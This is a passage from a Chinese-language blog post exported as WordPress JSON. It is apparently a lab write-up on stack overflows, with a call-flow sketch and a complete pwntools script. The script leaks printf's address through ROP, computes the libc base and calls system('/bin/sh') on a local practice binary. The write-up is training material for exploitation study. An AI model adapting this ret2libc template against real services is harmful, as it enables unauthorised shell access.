\u51fd\u6570\u5730\u5740\uff0c\u91cd\u65b0\u8fdb\u5165\u7a0b\u5e8f\uff0c\u51c6\u5907\u7b2c\u4e8c\u6b21\u6ea2\u51fa\u3002<\/p>\n\n\n\n<p>\u6536\u5230\u6cc4\u9732\u5730\u5740\u540e\uff0c\u8ba1\u7b97 libc \u57fa\u5740\uff0c\u8fdb\u884c\u7b2c\u4e8c\u6b21\u5229\u7528\u3002\u540c\u6837\u7684\u6808\u6ea2\u51fa\u65b9\u5f0f\uff0c\u8fd4\u56de\u5730\u5740\u8986\u76d6\u4e3a system \u5730\u5740\uff0c\u53c2\u6570\u5bc4\u5b58\u5668\uff08rdi\uff09\u8bbe\u7f6e\u4e3a\u6307\u5411 &#8220;\/bin\/sh&#8221; \u5b57\u7b26\u4e32\u5730\u5740\uff0c\u8c03\u7528 system(&#8220;\/bin\/sh&#8221;) \u6267\u884cshell\uff0c\u6700\u540e\u8c03\u7528 exit \u5b89\u5168\u9000\u51fa\u7a0b\u5e8f\u3002<\/p>\n\n\n\n<p>\u8be6\u7ec6\u7684\u8c03\u7528\u56fe\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>main:\n  read(0, name, 0x100)          # \u8f93\u5165name\n  printf(\"Try your best:\", name) # \u683c\u5f0f\u5b57\u7b26\u4e32\u6f0f\u6d1e\u5229\u7528\u70b9\n  read(0, buf, 0x100)           # \u7b2c\u4e8c\u6b21\u8f93\u5165\uff0c\u7f13\u51b2\u533a\u6ea2\u51fa\u5f00\u59cb\n\n\u6ea2\u51fa\u5199\u5165\uff1a\n  buf\u6ea2\u51fa -> \u8986\u76d6saved rbp\u548c\u8fd4\u56de\u5730\u5740 -> \u8fd4\u56de\u5730\u5740\u8df3\u8f6cROP\u94fe1\n\nROP\u94fe1:\n  \u8bbe\u7f6erdi = printf@got\n  \u8c03\u7528printf\uff0c\u6253\u5370printf\u771f\u5b9e\u5730\u5740\n  \u8fd4\u56demain\uff0c\u51c6\u5907\u7b2c\u4e8c\u6b21\u5229\u7528\n\nmain\u518d\u6b21\u6267\u884c\uff1a\n  \u518d\u6b21\u89e6\u53d1\u6ea2\u51fa\uff0c\u6784\u9020ROP\u94fe2\n\nROP\u94fe2:\n  \u6808\u5bf9\u9f50ret\n  \u8bbe\u7f6erdi = \"\/bin\/sh\"\u5730\u5740\n  \u8c03\u7528system(\"\/bin\/sh\")\n  \u8c03\u7528exit\u5b89\u5168\u9000\u51fa<\/code><\/pre>\n\n\n\n<p>\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># coding:utf-8\nfrom pwn import *\n\ncontext.binary = \".\/practice\"\ncontext.terminal = &#91;\"tmux\", \"splitw\", \"-h\"]\ncontext.log_level = \"debug\"\n\nio = process(context.binary.path)\nlibc = context.binary.libc\nprog = context.binary\n\n# \u521b\u5efaROP\u94fe\uff0c\u6cc4\u9732printf\u5730\u5740\nrop = ROP(prog)\nrop.call(prog.plt&#91;\"printf\"], &#91;prog.got&#91;\"printf\"]])\nrop.call(prog.symbols&#91;\"main\"])\n\nlog.info(\"Stage 1 ROP chain:\\n\" + rop.dump())\n\n# \u7b2c\u4e00\u6b21\u6ea2\u51fa\npayload = flat({0x20: b\"A\" * 8, 0x28: rop.chain()})\n\nio.recvuntil(b\"Name:\")\nio.sendline(b\"dummy_name\")\nio.recvuntil(b\"Try your best:\")\nio.sendline(payload)\n\n# \u83b7\u53d6\u6ea2\u51fa\u7684\u5730\u5740\nleak = io.recvuntil(b\"Name:\", drop=True)\nprintf_leak = u64(leak.ljust(8, b\"\\x00\"))\nlibc.address = printf_leak - libc.sym&#91;\"printf\"]\nlog.success(f\"printf @ {hex(printf_leak)}\")\nlog.success(f\"libc base @ {hex(libc.address)}\")\n\n# \u518d\u521b\u5efa\u4e00\u6b21ROP\u94fe\uff0c\u76ee\u6807\u662f\u83b7\u53d6shell\nrop = ROP(libc)\nrop.raw(rop.find_gadget(&#91;\"ret\"]).address)\nrop.call(libc.sym&#91;\"system\"], &#91;next(libc.search(b\"\/bin\/sh\"))])\nrop.call(libc.sym&#91;\"exit\"])\n\nlog.info(\"Stage 2 ROP chain:\\n\" + rop.dump())\n\n# \u7b2c\u4e8c\u6b21\u6ea2\u51fa\npayload = flat({0x20: b\"A\" * 8, 0x28: rop.chain()})\n\nio.sendline(b\"dummy_name2\")\nio.recvuntil(b\"Try your best:\")\nio.sendline(payload)\n\nio.interactive()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250706-163723-6-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250706-163723-6-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u80cc\u666f\u77e5\u8bc6 \u6808\u4ecb\u7ecd \u9ad8\u7ea7\u8bed\u8a00\u5728\u8fd0\u884c\u65f6\u90fd\u4f1a\u88ab\u8f6c\u6362\u4e3a\u6c47\u7f16\u7a0b\u5e8f\uff0c\u5728\u6c47\u7f16\u7a0b\u5e8f\u8fd0\u884c\u8fc7\u7a0b\u4e2d\uff0c\u5145\u5206\u5229\u7528\u4e86\u8fd9\u4e00\u6570\u636e\u7ed3\u6784\u3002\u6bcf\u4e2a\u7a0b\u5e8f [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15],"tags":[],"class_list":["post-3877","post","type-post","status-publish","format-standard","hentry","category-lab"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3877","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=3877"}],"version-history":[{"count":4,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3877\/revisions"}],"predecessor-version":[{"id":3893,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3877\/revisions\/3893"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=3877"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=3877"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=3877"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}